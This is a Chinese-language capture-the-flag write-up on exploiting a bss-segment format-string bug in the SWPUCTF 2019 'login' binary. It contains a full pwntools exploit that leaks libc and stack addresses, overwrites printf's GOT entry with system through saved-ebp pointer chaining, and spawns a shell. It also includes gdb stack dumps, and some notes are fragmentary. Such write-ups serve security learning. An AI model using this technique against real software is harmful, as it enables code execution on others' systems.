bss段上的格式化字符串处理–SWPUCTF_2019_login
1, 区别:
bss段上的格式化字符串和栈上的格式化字符串最大的区别在于
输入的格式化字符串被放在
采取的攻击措施是
利用ebp寄存器的地址映射
总结
2, IDA分析:
![[bssfmastrpic1.png]]
明显的格式化漏洞
3, gdb调试:
- ebp寄存器的的参数偏移是6
- ebp所指的映射地址为0xffc78f28
参数偏移是10, - 两个以80开头
与got表地址相似的( 栈中的地址参数偏移分别是9) 11,
通过修改这个ebp
构造结果如下
这里的printf+2是因为这里修改的是printfgot表的前两位
![[bssfmastrpic3 2.png]]
4, exp:
from LibcSearcher import *
from pwn import *
io=process('./SWPUCTF_2019_login')
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'
def fmtsend(addr,place):
io.recvuntil('Try again!\n')
payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
print payload
io.sendline(payload)
#解释<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>将偏移是place的地址所指向的地址的后两位修改为addr
def debug():
gdb.attach(io,"b *0x080485AF")
io.sendline('aa')
io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])
heap_base = target-0x28
stack_addr = heap_base+0x2c
stack_addr2=heap_base+0x24
bias1=stack_addr&0xffff
bias2=elf.got['printf']&0xffff
bias3=stack_addr2&0xffff
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
print hex(bias1)
print hex(bias2)
print hex(system)
print hex(system_for4)
print hex(system_back4)
# pause()
# gdb.attach(io,"b *0x080485AF")
fmtsend(bias1,6)
fmtsend(bias2,10)
fmtsend(bias1-8,6)
fmtsend(bias2+2,10)
payload = '%'+str(system_back4)+'c'+'%'+str(11)+'$hn'+'%'+str(system_for4-system_back4)+'c'+'%'+str(9)+'$hn'
io.recvuntil('Try again!\n')
io.sendline(payload)
io.sendline(';sh')
io.interactive()
5, exp构造完之后的思考:
- 在做bss段中的格式化字符串题目时
我们改变ebp指向的地址进行的地址映射从而实现了修改栈中相似数据更替目标数据, 约等于( 向栈空间写入数据) 。 - 做类似题目的前提是
栈中存在可泄漏的got表地址: 。 - 写入两个victim_got地址目的是通过依次修改它们高低两字节而高修稿成功率的将
printf“ 函数地址修改为” system“ 函数地址” 。 - heap addr
? 这里的地址标注是有问题的? 等会思考后写上去, 。
op_stack_now=target-0x28
stack_addr=top_stack_now+0x2c
stack_addr2=top_stack_now+0x24
bian1=stack_addr&0xffff
bian2=elf.got[‘printf’]&0xffff
bian3=stack_addr2&0xffff
system_low=system &0xffff
system_hign=(system>>16)&0xffff
———————————————— - 这里bss段的第一个参数是
![[bssfmastrpic3 2.png]]:
第二行的ja哪里
pwndbg> b printf
pwndbg> r
pwndbg> stack 30
00:0000│ esp 0xffffcfdc —▸ 0x8048540 (do_fmt+69) ◂— add esp, 0x10 //ret地址
01:0004│ 0xffffcfe0 —▸ 0x804a060 (buf) ◂— 0x61616161 ('aaaa') //输入的格式化字符串
02:0008│ 0xffffcfe4 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */ //偏移1
03:000c│ 0xffffcfe8 ◂— 0x4 //偏移2
04:0010│ 0xffffcfec —▸ 0x804857c (play+51) ◂— add esp, 0x10
05:0014│ 0xffffcff0 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
06:0018│ 0xffffcff4 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
07:001c│ ebp 0xffffcff8 —▸ 0xffffd008 —▸ 0xffffd018 ◂— 0x0 //偏移6<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>ebp=0xffffcff8->旧ebp=0xffffd008<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在MIT6.828中我们学习过<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>设置栈就是通过设置ebp=0<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>因此这个0x0是最后一个ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
08:0020│ 0xffffcffc —▸ 0x8048584 (play+59) ◂— nop //偏移7
09:0024│ 0xffffd000 —▸ 0xf7fb3d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028│ 0xffffd004 ◂— 0x0
0b:002c│ 0xffffd008 —▸ 0xffffd018 ◂— 0x0 //偏移10<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>旧ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
0c:0030│ 0xffffd00c —▸ 0x80485b1 (main+42) ◂— nop //偏移11
0d:0034│ 0xffffd010 —▸ 0xf7fb33dc (__exit_funcs) —▸ 0xf7fb41e0 (initial) ◂— 0x0
0e:0038│ 0xffffd014 —▸ 0xffffd030 ◂— 0x1
0f:003c│ 0xffffd018 ◂— 0x0
10:0040│ 0xffffd01c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
11:0044│ 0xffffd020 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
13:004c│ 0xffffd028 ◂— 0x0
14:0050│ 0xffffd02c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
15:0054│ 0xffffd030 ◂— 0x1
16:0058│ 0xffffd034 —▸ 0xffffd0c4 —▸ 0xffffd290 ◂— 0x6d6f682f ('/hom')
17:005c│ 0xffffd038 —▸ 0xffffd0cc —▸ 0xffffd2cb ◂— 'XDG_VTNR=7'
这一题也可以从写入的buf段地址进行判断
6. spidermana.github.io/_posts/2019-04-17-hitcon_pwn_writeUp.md at 27d5c5d56df3b1366526cbb05267cf4ae92b4af3 · spidermana/spidermana.github.io
不会的化可以看以上github的详细解读